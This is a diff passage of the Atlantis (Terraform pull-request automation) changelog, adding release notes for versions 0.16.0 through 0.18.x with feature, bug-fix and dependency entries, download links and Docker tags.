1.21.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2064 +* deps: tf 1.1.6 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2071 +* Removing web credentials from debug log by @pkaramol in https://github.com/runatlantis/atlantis/pull/2072 +* build(deps): bump github.com/gorilla/websocket from 1.4.2 to 1.5.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2077 +* build(deps): bump prismjs from 1.25.0 to 1.27.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2086 +* fix(web-templates): use CleanedBasePath for static content by @jvrplmlmn in https://github.com/runatlantis/atlantis/pull/2079 + +# v0.18.2 + +## What's Changed + +* deps: terraform 1.1.3 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1982 +* deps: conftest 0.30.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1983 +* build(deps): bump github.com/xanzy/go-gitlab from 0.52.2 to 0.54.3 by @dependabot in https://github.com/runatlantis/atlantis/pull/1986 +* build(deps): bump github.com/hashicorp/go-version from 1.3.0 to 1.4.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1987 +* build(deps): bump go.uber.org/zap from 1.19.1 to 1.20.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1988 +* docs: document `undiverged` apply requirement in more places by @fishpen0 in https://github.com/runatlantis/atlantis/pull/1992 +* fix: fix autoplan when .terraform.lock.hcl is modified by @gezb in https://github.com/runatlantis/atlantis/pull/1991 +* feat: add XTerm JS to the server static files by @Ka1wa in https://github.com/runatlantis/atlantis/pull/1985 +* feat: post workflow hooks by @tim775 in https://github.com/runatlantis/atlantis/pull/1990 +* docs: add colon to policy checking yaml by @williamlord-wise in https://github.com/runatlantis/atlantis/pull/1996 +* docs: include infracost ref in post-workflow-hooks by @ilamtap in https://github.com/runatlantis/atlantis/pull/1997 +* fix(docs): update screenshot for Bitbucket server webhook configuration by @kuzm1ch in https://github.com/runatlantis/atlantis/pull/1995 +* fix: make IsOwner policy check case-insensitive by @edbighead in https://github.com/runatlantis/atlantis/pull/1989 +* build(deps): bump github.com/bradleyfalzon/ghinstallation/v2 from 2.0.3 to 2.0.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/2004 +* build(deps): bump github.com/hashicorp/go-getter from 1.5.10 to 1.5.11 by @dependabot in https://github.com/runatlantis/atlantis/pull/2003 +* docs: fix incorrect wildcard and more precise instruction to --gh-team-allowlist option. by @keitap in https://github.com/runatlantis/atlantis/pull/2005 +* fix: support for terraform workspaces by @bschaeffer in https://github.com/runatlantis/atlantis/pull/2006 +* deps: terraform 1.1.4 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2011 +* fix: add back basic auth support by @Aayyush in https://github.com/runatlantis/atlantis/pull/2008 +* chore: improve `/healthz` endpoint performance by @inkel in https://github.com/runatlantis/atlantis/pull/2014 +* fix: Update GenerateProjectJobURL to account for nested repo names by @Aayyush in https://github.com/runatlantis/atlantis/pull/2012 +* fix: broken Log Streaming URL when working directory is set to "./" by @Aayyush in https://github.com/runatlantis/atlantis/pull/2015 +* fix: retry /files/ requests to github by @iainlane in https://github.com/runatlantis/atlantis/pull/2002 + +# v0.18.1 + +Maintenance release for bug fixes as well as release multi-platform builds for atlantis docker images. + +## What's Changed + +* Revert "feat: filter out atlantis/apply from mergeability clause (#18â€Ļ by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1968 +* build(deps): bump github.com/microcosm-cc/bluemonday from 1.0.16 to 1.0.17 by @dependabot in https://github.com/runatlantis/atlantis/pull/1969 +* fix:include no GitHub allowlist rules by default by @paulerickson in https://github.com/runatlantis/atlantis/pull/1973 +* fix: default permissions for gh-team-allowlist. by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1974 +* docs: documentation for slack integration by @syphernl in https://github.com/runatlantis/atlantis/pull/1972 +* workflows(atlantis-image): fix building and publishing of Docker images by @Tenzer in https://github.com/runatlantis/atlantis/pull/1975 +* fix: allowed regexp prefixes for exact matches by @bmbferreira in https://github.com/runatlantis/atlantis/pull/1962 +* deps: conftest 0.29.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1977 + +# v0.18.0 + +Feature release of adding capability of streaming terraform logs, also added the capability of supporting tf 1.0.x (which was missed in the v0.17.6 release). + +## What's Changed + +* deps: terraform 1.1.2 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1952 +* build(deps): bump github.com/spf13/viper from 1.10.0 to 1.10.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1956 +* Dockerfile: Add support for last Terraform 1.0.x version in AVAILABLE_TERRAFORM_VERSIONS by @javierbeaumont in https://github.com/runatlantis/atlantis/pull/1957 +* feat: add GitHub team allowlist configuration option by @paulerickson in https://github.com/runatlantis/atlantis/pull/1694 +* fix: fallback to default TF version in apply step by @sapslaj in https://github.com/runatlantis/atlantis/pull/1931 +* docs: typo in heading level by @moretea in https://github.com/runatlantis/atlantis/pull/1960 +* docs: clarify example for `--azuredevops-token` flag by @MarkIannucci in https://github.com/runatlantis/atlantis/pull/1712 +* docs: update github docs links by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1964 +* build(deps): bump github.com/hashicorp/go-getter from 1.5.9 to 1.5.10 by @dependabot in https://github.com/runatlantis/atlantis/pull/1961 +* feat: streaming terraform logs in real-time by @Aayyush in https://github.com/runatlantis/atlantis/pull/1937 + +# v0.17.6 + +## What's Changed + +* docs: clarify maximum version limit by @tomharrisonjr in https://github.com/runatlantis/atlantis/pull/1894 +* fix: allow requests to /healthz without authentication by @wendtek in https://github.com/runatlantis/atlantis/pull/1896 +* docs: document approve_policies command in comment_parser by @dupuy26 in https://github.com/runatlantis/atlantis/pull/1886 +* feat: adds `allowed_regexp_prefixes` parameter to use with the `--enable-regexp-cmd` flag by @bmbferreira in https://github.com/runatlantis/atlantis/pull/1884 +* refactor: Add PullStatusFetcher interface by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1904 +* build(deps): bump github.com/urfave/negroni from 0.3.0 to 1.0.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1922 +* build(deps): bump github.com/xanzy/go-gitlab from 0.51.1 to 0.52.2 by @dependabot in https://github.com/runatlantis/atlantis/pull/1921 +* build(deps): bump github.com/golang-jwt/jwt/v4 from 4.1.0 to 4.2.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1928 +* docs: add clarity and further policy_check examples by @DaveHewy in https://github.com/runatlantis/atlantis/pull/1925 +* build(deps): bump github.com/spf13/viper from 1.9.0 to 1.10.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1934 +* deps: terraform 1.1.1 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1939 +* deps: alpine 3.15 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1941 +* docs: fix policy check documentation examples by @DaveHewy in https://github.com/runatlantis/atlantis/pull/1945 +* docker: make multi-platform atlantis image by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1943 + +# v0.17.5 + +## What's Changed + +* refactor: move from io/ioutil to io and os package by @Juneezee in https://github.com/runatlantis/atlantis/pull/1843 +* chore: use golang-jwt/jwt to replace dgrijalva/jwt-go by @barn in https://github.com/runatlantis/atlantis/pull/1845 +* fix(azure): allow host to be specified in user_config for on premise installation by @dandcg in https://github.com/runatlantis/atlantis/pull/1860 +* feat: filter out atlantis/apply from mergeability clause by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1856 +* feat: add BasicAuth Support to Atlantis ServeHTTP by @fblgit in https://github.com/runatlantis/atlantis/pull/1777 +* fix(azure): allow correct path to be derived for on premise installation by @dandcg in https://github.com/runatlantis/atlantis/pull/1863 +* feat: add new bitbucket server webhook event type pr:from_ref_updated(#198) by @kuzm1ch in https://github.com/runatlantis/atlantis/pull/1866 +* Move runtime common under existing runtime package. by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1875 +* feat: use goreleaser to replace the binary-release script by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1873 + +# v0.17.4 + +## What's Changed + +* build(deps): bump tar from 4.4.15 to 4.4.19 by @dependabot in https://github.com/runatlantis/atlantis/pull/1783 +* build: tf 1.0.6 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1786 +* Bump testing image conftest version to 0.27 by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1787 +* Actually bump testing image conftest version to 0.27 by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1788 +* build: fix testing-env img process by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1789 +* e2e: update dockerfile by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1790 +* build(deps): bump runatlantis/atlantis-base from 2021.06.22 to 2021.08.31 by @dependabot in https://github.com/runatlantis/atlantis/pull/1794 +* build(deps): bump github.com/xanzy/go-gitlab from 0.50.3 to 0.50.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/1795 +* fix a log error typo by @danpilch in https://github.com/runatlantis/atlantis/pull/1796 +* Set ParallelPolicyCheckEnabled to the same value as ParallelPlanEnabled by @msarvar in https://github.com/runatlantis/atlantis/pull/1802 +* docs: Add missing --silence-vcs-status-no-plans flag by @franklad in https://github.com/runatlantis/atlantis/pull/1803 +* build(lint): use revive instead of golint by @minamijoyo in https://github.com/runatlantis/atlantis/pull/1801 +* build(deps): bump github.com/hashicorp/go-getter from 1.5.7 to 1.5.8 by @dependabot in https://github.com/runatlantis/atlantis/pull/1807 +* build(deps): bump go.uber.org/zap from 1.19.0 to 1.19.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1808 +* docs: add missing the `branch` key in the reference for server side repo config by @minamijoyo in https://github.com/runatlantis/atlantis/pull/1784 +* build: tf 1.0.7 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1811 +* deps: conftest 0.28.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1819 +* deps: conftest 0.28.1 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1826 +* build(deps): bump prismjs from 1.24.0 to 1.25.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1823 +* Updating client interface and adding ApprovalStatus model by @Aayyush in https://github.com/runatlantis/atlantis/pull/1827 +* Fix title level by @xiao-pp in https://github.com/runatlantis/atlantis/pull/1822 +* build(deps): bump github.com/xanzy/go-gitlab from 0.50.4 to 0.51.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1831 +* Add support for deleting a branch on merge in BitBucket Server by @wpbeckwith in https://github.com/runatlantis/atlantis/pull/1792 +* deps: tf 1.0.8 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1837 +* build(deps): bump github.com/spf13/viper from 1.8.1 to 1.9.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1821 +* Document --auto-merge-disabled option by @dupuy26 in https://github.com/runatlantis/atlantis/pull/1838 +* testdrive: update terraformVersion by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1839 +* Improve github pull request call retries by @aristocrates in https://github.com/runatlantis/atlantis/pull/1810 + +# v0.17.3 +Feature release with a number of improvements related to Gitlab support, a new command, better formatting etc. Some broken features have been fixed in along with some regressions. + +## Features/Improvements +* Add version command to Atlantis for getting the current terraform version ([#1691](https://github.com/runatlantis/atlantis/pull/1691) by @pjsier) +* Support "Pipelines must succeed", "All discussions must be resolved" in Gitlab `apply_requirements` ([#1675](https://github.com/runatlantis/atlantis/pull/1675) by @devlucasc) +* Add support for specifying github app key as a string ([#1706](https://github.com/runatlantis/atlantis/pull/1706) by @dhaven) +* Add flag to enable rich github markdown formatting of terraform outputs ([#1751](https://github.com/runatlantis/atlantis/pull/1751) by @enochlo) + * Note: Depending on feedback here, we will consider just enabling this by default in a future release. +* Add support for splitting large comments into batches for Gitlab ([#1755](https://github.com/runatlantis/atlantis/pull/1755) by @krrrr38) + +## Bug Fixes +* Fix remote ops detection for tf >= 1.0.0 ([#1687](https://github.com/runatlantis/atlantis/pull/1687) by @taavitani) +* Fix Gitlab auto-merge race condition [#1609](https://github.com/runatlantis/atlantis/issues/1609) ([#1675](https://github.com/runatlantis/atlantis/pull/1675) by @devlucasc) +* Fix an issue where `--parallel-pool-size` was being ignored ([#1705](https://github.com/runatlantis/atlantis/pull/1705) by @Schtolc) +* Fix an issue where applies can occur on draft merge requests in Gitlab ([#1736](https://github.com/runatlantis/atlantis/pull/1736) by @devlucasc) +* Fix regression where .terraform.lock.hcl would prevent future operations from upgrading providers even with the `-upgrade` present ([#1701](https://github.com/runatlantis/atlantis/pull/1701) by @gezb) +* Fix issue with branch regex matcher which would always allow all branches ([#1768](https://github.com/runatlantis/atlantis/pull/1768) by @minamijoyo) + +## Dependencies +* Upgrade default tf version to 1.0.5 ([#1662](https://github.com/runatlantis/atlantis/pull/1765) by @chenrui333) +* Upgrade go version to 0.17 ([#1766](https://github.com/runatlantis/atlantis/pull/1766) by @chenrui1333) +* Upgrade alpine to v3.14, addressing CVE-2021-36159, CVE-2021-22924, CVE-2021-22923 and CVE-2021-22925 vulnerabilities ([#1770](https://github.com/runatlantis/atlantis/pull/1770) by @chenrui1333) + +## Backwards Incompatibilities/Notes +* If you are using GHCR and are using the `atlantis:latest` docker image, this now points to the latest release as opposed to the tip of master. If you want to work off the tip of master, then you should now use `atlantis:dev` + +## Downloads +* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_darwin_amd64.zip) +* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_386.zip) +* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_amd64.zip) +* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_arm.zip) + +## Docker +[`runatlantis/atlantis:v0.17.3`](https://hub.docker.com/r/runatlantis/atlantis/tags/) + +## Github Container Registry +[`ghcr.io/runatlantis/atlantis:v0.17.3`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis) + +## Diff v0.17.2..v0.17.3 +https://github.com/runatlantis/atlantis/compare/v0.17.2...v0.17.3 + +# v0.17.2 +Patch release containing bug fixes. + +## Bug Fixes +* Fix a regression introduced where approving failing policies would create a secondary status in pending without ever being marked as successful ([#1672](https://github.com/runatlantis/atlantis/pull/1672) by @nishkrishnan) +* Fix a bug where pre-workflow hooks cannot find atlantis.yaml when run on non-default workspaces. ([#1620](https://github.com/runatlantis/atlantis/pull/1620) by @giuli007) + +## Dependencies +* Upgrade default tf version to 1.0.1 ([#1662](https://github.com/runatlantis/atlantis/pull/1662) by @chenrui333) + +## Backwards Incompatibilities/Notes +* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag + then the default version of Terraform will now be 1.0.1. Simply set the above + flag to your desired default version to avoid any issues. + +## Downloads +* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_darwin_amd64.zip) +* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_386.zip) +* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_amd64.zip) +* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_arm.zip) + +## Docker +[`runatlantis/atlantis:v0.17.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/) + +## Github Container Registry +[`ghcr.io/runatlantis/atlantis:v0.17.2`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis) + +## Diff v0.17.1..v0.17.2 +https://github.com/runatlantis/atlantis/compare/v0.17.1...v0.17.2 + +# v0.17.1 +Feature release containing a number of bug fixes. + +Note: as of this release we are now also publishing releases to [Github Container Registry](https://github.com/runatlantis/atlantis/pkgs/container/atlantis/). We will stop publishing releases to [Dockerhub](https://hub.docker.com/r/runatlantis/atlantis/) in a subsequent major version release, please migrate any workflows to start using Github Container Registry in the meantime. + +## Features/Improvements +* Add extra args support for policy checking command ([#1511](https://github.com/runatlantis/atlantis/pull/1511) by @nishkrishnan) +* Add undiverged apply requirement ([#1587](https://github.com/runatlantis/atlantis/pull/1587) by @pcalley) +* Modify logging timestamp to be ISO8601 ([#1625](https://github.com/runatlantis/atlantis/pull/1625) by @tkishore1192) +* Add run step environment variable SHOWFILE ([#1611](https://github.com/runatlantis/atlantis/pull/1611) by @mhennecke) +* Add flag to disable automerge for `atlantis apply` ([#1533](https://github.com/runatlantis/atlantis/pull/1533) by @spirosoik) +* Add support for deduping extra terraform args ([#1651](https://github.com/runatlantis/atlantis/pull/1651) by @gezb) +* Preserving terraform.lock.hcl when present by not upgrading during terraform init ([#1651](https://github.com/runatlantis/atlantis/pull/1651) by @gezb) + +## Bug Fixes +* Fix a bug with the hide previous command logic ([#1549](https://github.com/runatlantis/atlantis/pull/1549) by @nishkrishnan) +* Fix a bug with Azure Dev ops Prs where only the recent commit was used to get the diff ([#1521](https://github.com/runatlantis/atlantis/pull/1521) by @nishkrishnan) +* Fix bug with deleting source branch on merging Azure Dev Ops PRs ([#1560](https://github.com/runatlantis/atlantis/pull/1560) by @tapaszto) +* Fix regression with parallelApply and parallelPlan args being in the wrong order and therefore swapped. ([#1574](https://github.com/runatlantis/atlantis/pull/1574) by @Fauzyy) +* Fix nil pointer deference when `disable-repo-locking` is true. ([#1557](https://github.com/runatlantis/atlantis/pull/1557) by @Fauzyy) +* Fix azure dev ops max comment characters to api limit ([#1585](https://github.com/runatlantis/atlantis/pull/1585) by @mhennecke) +* Fix bug where required terraform version was not being loaded when policy checks are enabled ([#1658](https://github.com/runatlantis/atlantis/pull/1658) by @msarvar) +* Fix bug where plan summary was not shown when changes outside of Terraform were detected ([#1593](https://github.com/runatlantis/atlantis/pull/1593) by @chroju) + +## Dependencies +* Upgrade conftest binary version to 0.25 ([#1516](https://github.com/runatlantis/atlantis/pull/1579) by @msarvar) +* Upgrade default tf version to 1.0 ([#1622](https://github.com/runatlantis/atlantis/pull/1622) by @chenrui333) + +## Backwards Incompatibilities/Notes +* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag + then the default version of Terraform will now be 1.0. Simply set the above + flag to your desired default version to avoid any issues. + +## Downloads +* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_darwin_amd64.zip) +* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_386.zip) +* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_amd64.zip) +* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.1/atlantis_linux_arm.zip) + +## Docker +[`runatlantis/atlantis:v0.17.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) + +## Github Container Registry +[`ghcr.io/runatlantis/atlantis:v0.17.1`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis) + +## Diff v0.17.0..v0.17.1 +https://github.com/runatlantis/atlantis/compare/v0.17.0...v0.17.1 + + +# v0.17.0 +Feature release encompassing this version's pre-release with some bug fixes and improvements that make this stable. + +## Features/Improvements +* Add `--enable-policy-checks` which adds a policy checking step to the Atlantis workflow and runs server-side conftest policies on the terraform plan output. ([#1317](https://github.com/runatlantis/atlantis/pull/1317) by @msarvar and @nishkrishnan) + - Supports `atlantis approve_policies` which allows a set of blessed github users to approve failing policies. +* Support pre-workflow hooks on all comment/auto triggered commands ([#1418](https://github.com/runatlantis/atlantis/pull/1418) by @nishkrishnan) +* Add branch allowlist matcher to server side repo config ([#1383](https://github.com/runatlantis/atlantis/pull/1383) by @dghubble) +* Add support for regex commands ([#1419](https://github.com/runatlantis/atlantis/pull/1419) by @bewie) +* Add support for a global apply lock ([#1473](https://github.com/runatlantis/atlantis/pull/1473) by @msarvar) +* Add structured logging support ([#1467](https://github.com/runatlantis/atlantis/pull/1467) by @nishkrishnan) +* Ensure policy checks is its own apply requirement ([#1499](https://github.com/runatlantis/atlantis/pull/1499) by @nishkrishnan) +* Add `--silence-no-projects` which silences Atlantis from responding to PRs when there are no projects ([#1469](https://github.com/runatlantis/atlantis/pull/1469) by @GenPage) +* Add plan summary to unfolded part of the comment ([#1518](https://github.com/runatlantis/atlantis/pull/1518) by @wkrysmann) +* Add `--autoplan-file-list` which allows modifying the global list of files that trigger project planning ([#1475](https://github.com/runatlantis/atlantis/pull/1475) by @Omicron7) +* Add server-side repo config support to delete the source branch when automerge is configured ([#1357](https://github.com/runatlantis/atlantis/pull/1357) by @tapaszto) + +## Bug Fixes +* Fix output for Terraform 0.14 projects not filtering out refreshing of state. ([#1352](https://github.com/runatlantis/atlantis/pull/1352) by @mathcantin) + +## Dependencies +* Upgrade conftest binary version to 0.23 ([#1516](https://github.com/runatlantis/atlantis/pull/1516) by @msarvar) +* Upgrade default tf version to 0.15.1 and add latest patch versions for old terraform minor versions ([#1472](https://github.com/runatlantis/atlantis/pull/1512) by @bryantbiggs) + +## Backwards Incompatibilities/Notes +* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag + then the default version of Terraform will now be 0.15.1. Simply set the above + flag to your desired default version to avoid any issues. +* Hashicorp's GPG keys were [exposed](https://discuss.hashicorp.com/t/hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure/23512). This PR adds the latest patch versions for each Terraform minor version which has new keys. + + +## Downloads +* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_darwin_amd64.zip) +* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_386.zip) +* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_amd64.zip) +* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0/atlantis_linux_arm.zip) + +## Docker +[`runatlantis/atlantis:v0.17.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) + +## Diff v0.16.1..v0.17.0 +https://github.com/runatlantis/atlantis/compare/v0.16.1...v0.17.0 + +# v0.17.0-beta +Feature release. Due to a sizeable refactor and the number of configuration settings supported in Atlantis, this is a pre-release and should not be considered fully stable. + +## Features +* Add `--enable-policy-checks` which adds a policy checking step to the Atlantis workflow and runs server-side conftest policies on the terraform plan output. ([#1317](https://github.com/runatlantis/atlantis/pull/1317) by @msarvar and @nishkrishnan) + - Supports `atlantis approve_policies` which allows a set of blessed github users to approve failing policies. +* Support pre-workflow hooks on all comment/auto triggered commands ([#1418](https://github.com/runatlantis/atlantis/pull/1418) by @nishkrishnan) +* Add `HEAD_COMMIT` to run steps +* Update terraform version to 0.14.7 + +## Backwards Incompatibilities/Notes +* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag + then the default version of Terraform will now be 0.14.7. Simply set the above + flag to your desired default version to avoid any issues. + +## Downloads +* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_darwin_amd64.zip) +* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_386.zip) +* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_amd64.zip) +* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.0-beta/atlantis_linux_arm.zip) + +## Docker +[`runatlantis/atlantis:v0.17.0-beta`](https://hub.docker.com/r/runatlantis/atlantis/tags/) + +## Diff v0.16.1..v0.17.0-beta +https://github.com/runatlantis/atlantis/compare/v0.16.1...v0.17.0-beta + + +# v0.16.1 +Few improvements and a number of bug fixes + +## Features/Improvements +* Add `--gh-app-slug` which allows fetching of gh app user. ([#1334](https://github.com/runatlantis/atlantis/pull/1334) by @nishkrishnan) (Also fixes [#1161](https://github.com/runatlantis/atlantis/issues/1161)) +* Add `--disable-repo-locking` flag. ([#1340](https://github.com/runatlantis/atlantis/pull/1340) by @gezb) (Closes [#1212](https://github.com/runatlantis/atlantis/issues/1212)) +* Pass atlantis/apply when there are no plans ([#1323](https://github.com/runatlantis/atlantis/pull/1323) by @raxod502-plaid) +* Update terraform version to 0.14.5 + +## Bugfixes +* Fix bug with error messaging and incorrect casting ([#1327](https://github.com/runatlantis/atlantis/pull/1327) by @acastle) +* Fix bug where .auto.tfvars.json files were being ignored in 0.16.0 (Fixes [#1330](https://github.com/runatlantis/atlantis/issues/1330) by @gekO) +* Fix Azure DevOps automerge by dynamically fetching user id (Fixes [#1152](https://github.com/runatlantis/atlantis/issues/1152) by @tapaszto) +* Replace slack GetChannels with GetConversations due to API deprecation (Fixes [#1210](https://github.com/runatlantis/atlantis/issues/1210) by @thlacroix) +* Set TF_WORKSPACE for remote runs to target correct workspace (Fixes [#661](https://github.com/runatlantis/atlantis/issues/661) by @m1pl) +* Fix for restricting what workflows each repo has access to without exposing custom workflow definitions (Fixes [#1358](https://github.com/runatlantis/atlantis/issues/1358) by @netguino) + +## Backwards Incompatibilities / Notes: +* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag + then the default version of Terraform will now be 0.14.5. Simply set the above + flag to your desired default version to avoid any issues. + +## Downloads +* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_darwin_amd64.zip) +* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_386.zip) +* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_amd64.zip) +* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.1/atlantis_linux_arm.zip) + +## Docker +[`runatlantis/atlantis:v0.16.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/) + +## Diff v0.16.0..v0.16.1 +https://github.com/runatlantis/atlantis/compare/v0.16.0...v0.16.1 + + +# v0.16.0 + +## Description +Feature release with some new flags and bugfixes. + +This release is thanks to our new Atlantis maintainer team: +* [@chenrui333](https://github.com/chenrui333) +* [@nishkrishnan](https://github.com/nishkrishnan) +* [@acastle](https://github.com/acastle) +* [@unRob](https://github.com/unRob) +* [@jamengual](https://github.com/jamengual) + +## Features +* Allow configuring number of concurrent plans/applies via new `-parallel-pool-size` flag ([#1177](https://github.com/runatlantis/atlantis/pull/1177) by @dmattia) +* Add new flag `-disable-apply` that will disable the ability to run all applies ([#1230](https://github.com/runatlantis/atlantis/pull/1230) by @gezb) +* This release will release with an arm64 binary ([#1291](https://github.com/runatlantis/atlantis/pull/1291) by @pgroudas) +* Add `pre_workflow_hooks` steps to allow for running custom scripts before workflow execution ([#1255](https://github.com/runatlantis/atlantis/pull/1255) by @msarvar) +* Update default Terraform version to 0.14.3 + +## Bugfixes +* Fix bug checking for up to date branches when using GitHub App installation and `-checkout-strategy=merge` (Fixes [#1236](https://github.com/runatlantis/atlantis/issues/1236) by @nishkrishnan) +* Fix version detection for versions with prereleases when running Terraform >= 0.12.0 (Fixes [#1276](https://github.com/runatlantis/atlantis/issues/1276) by @acastle) +* Fix bug detecting Terraform files ([#1253](https://github.com/runatlantis/atlantis/pull/1253) by @surminus) + +## Backwards Incompatibilities / Notes: +* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag + then the default version of Terraform will now be 0.14.3. Simply set the above + flag to your desired default version to avoid any issues. + +## Downloads +* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_darwin_amd64.zip) +* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_386.zip) +* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_amd64.zip) +* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.16.0/atlantis_linux_arm.zip) + +## Docker +[`runatlantis/atlantis:v0.16.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/) + +## Diff v0.15.1..v0.16.0 +https://github.com/runatlantis/atlantis/compare/v0.15.1...v0.16.0 + # v0.15.1 ## Description @@ -113,23 +736,23 @@ See below for the complete list. ## Features * Upgrade default Terraform version in Docker image to 0.12.26. * Add support for parallel plans and applies ([#926](https://github.com/runatlantis/atlantis/pull/926) by @Fauzyy) - + Running in parallel is only supported if you're using workspaces to separate your projects. Projects in separate directories can **not** be run in parallel currently. To use, set - + ```yaml parallel_plan: true parallel_apply: true ``` - + In your repo-level `atlantis.yaml` file. * Add support for graceful shutdown ([#1051](https://github.com/runatlantis/atlantis/pull/1051) by @benoit74). When Atlantis receive a SIGINT or SIGTERM it won't shut down immediately. It will wait for in-progress plans and applies to complete. Any new actions, e.g. comments or autoplans will be refused and an error comment will be posted to the PR indicating that Atlantis is shutting down and the user should try again later. - + In addition, a new `/status` endpoint has been added that currently only returns the number of in-progress operations and whether the server is shutting down. @@ -137,7 +760,7 @@ See below for the complete list. for users to run plan and apply on GitHub draft PRs. This ability was removed in v0.12.0. ([#1053](https://github.com/runatlantis/atlantis/pull/1053) by @cket) * GitHub: Preserve original commit message when automerging ([#1049](https://github.com/runatlantis/atlantis/pull/1049) by @pratikmallya). - + This change removes the `[Atlantis] Automatically merging after successful apply` commit message and instead has GitHub autogenerate the commit message similarly to how it would when you click the "Merge" button in the UI. @@ -410,7 +1033,7 @@ workflows: * Upgrade Terraform to 0.12.7 in our base Docker image. * Support for Terragrunt > 0.19.0 ([#748](https://github.com/runatlantis/atlantis/pull/748)) * The directory where Atlantis downloads Terraform binaries is now in the PATH -of custom workflows ([#678](https://github.com/runatlantis/atlantis/pull/678)) +of custom workflows ([#678](https://github.com/runatlantis/atlantis/pull/678)) * `dumb-init` and `gosu` upgraded in our Docker image 